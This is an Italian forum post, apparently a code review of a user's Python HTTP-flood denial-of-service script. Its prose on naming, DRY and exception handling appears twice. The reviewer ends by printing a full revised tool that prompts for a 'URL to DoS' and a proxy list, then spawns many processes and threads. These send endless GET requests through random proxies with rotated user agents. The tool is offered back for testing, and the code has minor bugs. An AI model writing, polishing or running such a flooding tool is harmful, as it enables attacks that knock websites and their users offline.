Ultima modifica:
Convenzione naming e stile del codice
La prima cosa più semplice da fare per rendere più leggibile il tuo codice è utilizzare un naming corretto (niente errori grammaticali inglesi, non mixare inglese con l'italiano, ecc.). Certe variabili variabili hanno un nome insensato (come la variabile l), un errore grammaticale che hai fatto è per esempio proxyes, ecc.
I nomi dei parametri, funzioni e variabili vanno scritti in minuscolo con il trattino di sottolineatura per staccare una parola dall'altra, in caso che nel progetto prevale l'uso del camelCase dovrai usare solo quest'ultimo; i nomi delle classi vanno scritte sempre con la convezione CapWords (certe volte la usi, certe volte no); usare sempre gli spazi invece dei tab,
Questa è solo una sottigliezza, ma ti consiglio di farne un uso corretto.
Ripetizioni innecessarie del codice
DRY, Don't Repeat Yourself indica che non devi ripeterti e che devi evitare ridondanze di parti di codice che puntano a fare sempre la stessa cosa. Una ripetizione sicuramente involontaria che hai fatto è la doppia importazione del modulo random.
Queste due parti:
possono essere migliorate. Probabilmente nella prima, che non ha senso, hai provato senza successo a scrivere una parte di codice che ti serviva a controllare se l'utente metteva una stringa valida (niente stringa vuota, ecc.), la seconda è ripetitiva.
Quello che stavi provando a fare può essere formalmente scritto così:
poi ti basta chiamare get_input_till_is_valid() che prende l'input dall'utente affinchè è valido.
Eccezioni
Una cosa terribile che hai fatto è l'utilizzo di except: pass. È pessimo perchè stai semplicemente catturando ogni eccezione che ti può essere rilanciata per poi non farci nulla, infatti semanticamente pass significa non fare nulla. La cosa più ragionevole da fare è loggare gli errori per evitare di buttare al vento pure certe informazioni di debug sensibili, poi in un modo o nell'altro provi a prevenirle.
Specifica sempre e comunque quando puoi l'eccezione che potresti incontrare, ogni eccezione deve essere trattata in un modo diverso.
Per finire, il codice completo è:
questa è una semplice recensione della v5, che forse potresti ancora migliorare. Provalo per vedere se va e fammi sapere.
La prima cosa più semplice da fare per rendere più leggibile il tuo codice è utilizzare un naming corretto (niente errori grammaticali inglesi, non mixare inglese con l'italiano, ecc.). Certe variabili variabili hanno un nome insensato (come la variabile l), un errore grammaticale che hai fatto è per esempio proxyes, ecc.
I nomi dei parametri, funzioni e variabili vanno scritti in minuscolo con il trattino di sottolineatura per staccare una parola dall'altra, in caso che nel progetto prevale l'uso del camelCase dovrai usare solo quest'ultimo; i nomi delle classi vanno scritte sempre con la convezione CapWords (certe volte la usi, certe volte no); usare sempre gli spazi invece dei tab,
Questa è solo una sottigliezza, ma ti consiglio di farne un uso corretto.
Ripetizioni innecessarie del codice
DRY, Don't Repeat Yourself indica che non devi ripeterti e che devi evitare ridondanze di parti di codice che puntano a fare sempre la stessa cosa. Una ripetizione sicuramente involontaria che hai fatto è la doppia importazione del modulo random.
Queste due parti:
Python:
while True:
try:
url = input('> Enter Url to DoS: ')
break
except:
print ('> Could not open specified url.')
Python:
while True:
try:
num_process = int(input('> Entern number of process[6]: '))
except:
num_process = 6
break
possono essere migliorate. Probabilmente nella prima, che non ha senso, hai provato senza successo a scrivere una parte di codice che ti serviva a controllare se l'utente metteva una stringa valida (niente stringa vuota, ecc.), la seconda è ripetitiva.
Quello che stavi provando a fare può essere formalmente scritto così:
Python:
def is_int(s):
try:
return int(s), True
except ValueError:
return s, False
def get_input_till_is_valid(prompt, is_string=True):
# True per ottenere stringhe come input, False per numeri
while True:
o = input(prompt)
if is_string:
if ' ' not in o: return o
else:
o = is_int(o)
if (o[1]):
return o[0]
else:
return get_input_till_is_valid(prompt, False)
poi ti basta chiamare get_input_till_is_valid() che prende l'input dall'utente affinchè è valido.
Eccezioni
Una cosa terribile che hai fatto è l'utilizzo di except: pass. È pessimo perchè stai semplicemente catturando ogni eccezione che ti può essere rilanciata per poi non farci nulla, infatti semanticamente pass significa non fare nulla. La cosa più ragionevole da fare è loggare gli errori per evitare di buttare al vento pure certe informazioni di debug sensibili, poi in un modo o nell'altro provi a prevenirle.
Specifica sempre e comunque quando puoi l'eccezione che potresti incontrare, ogni eccezione deve essere trattata in un modo diverso.
Per finire, il codice completo è:
Python:
import os, threading, time, random, string, socket, multiprocessing
useragents = [
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
"Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
"Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
"Mozilla/5.0 (Linux; U; Android 2.2; fr-fr; Desire_A8181 Build/FRF91) App3leWebKit/53.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:13.0) Gecko/20100101 Firefox/13.0.1",
"Mozilla/5.0 (iPhone; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
"Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.02 Bork-edition [en]",
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6",
"Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11",
"Mozilla/5.0 (Windows NT 5.1; rv:5.0.1) Gecko/20100101 Firefox/5.0.1",
"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)",
"Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.02",
"Opera/9.80 (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60",
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0",
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)",
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322)",
"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 3.5.30729)",
"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
"Mozilla/5.0 (Windows NT 6.1; rv:2.0b7pre) Gecko/20100921 Firefox/4.0b7pre",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
"Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20100101 Firefox/12.0",
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)",
"Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0",
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 5.8 (build 4157); .NET CLR 2.0.50727; AskTbPTV/5.11.3.15590)",
"Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:13.0) Gecko/20100101 Firefox/13.0.1",
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.5 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.4",
"Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
"Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1"]
class ProcessWorker(multiprocessing.Process):
def __init__(self, url, array):
multiprocessing.Process.__init__(self)
self.url = url
self.array = array
def run(self):
global url, array
for i in range(100):
Spammer(self.url, self.array).start()
class Spammer(threading.Thread):
def __init__(self, url, array):
global useragents
threading.Thread.__init__(self)
self.url = url
self.list = array
self.byte_get = '''GET %s HTTP/1.1\r\nHost: "%s\r\nUser-Agent: %s\r\n\r\n\r\n'''%(self.url, self.url.replace("http://", "").replace("https://", "").split('/')[0], random.choice(useragents))
def run(self):
proxies = random.choice(self.list).split(':')
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
while True:
try:
sock.connect((proxies[0], int(proxies[1])))
sys.stdout.write("HTTP GET Request Proxy: %s | \n"%(proxies[0]))
sock.send(self.byte_get.encode())
except socket.error:
print('Unable to send request') # ti serve pure per capire se il sito è offline
time.sleep(1)
def is_int(s):
try:
return int(s), True
except ValueError:
return s, False
def get_input_till_is_valid(prompt, is_string=True):
# True per ottenere stringhe come input, False per numeri
while True:
o = input(prompt)
if is_string:
if ' ' not in o: return o
else:
o = is_int(o)
if (o[1]):
return o[0]
else:
return get_input_till_is_valid(prompt, False)
def main():
url = get_input_till_is_valid('> Enter url to DoS: ')
while True:
proxy_list = get_input_till_is_valid('> Enter the proxy list path: ')
try:
in_file = open(proxy_list,"r")
array = []
for i in in_file:
array.append(i.split("/n")[0])
break
except IOError as e:
print('Error while reading the text file')
num_processes = get_input_till_is_valid('> Enter number of processes[6]: ', False)
print('Starting >>> 100 thread * %s process = %s'%(num_processes, 200*num_processes))
time.sleep(2)
for i in range(num_processes):
ProcessWorker(url, array).start()
if __name__ == '__main__':
main()
questa è una semplice recensione della v5, che forse potresti ancora migliorare. Provalo per vedere se va e fammi sapere.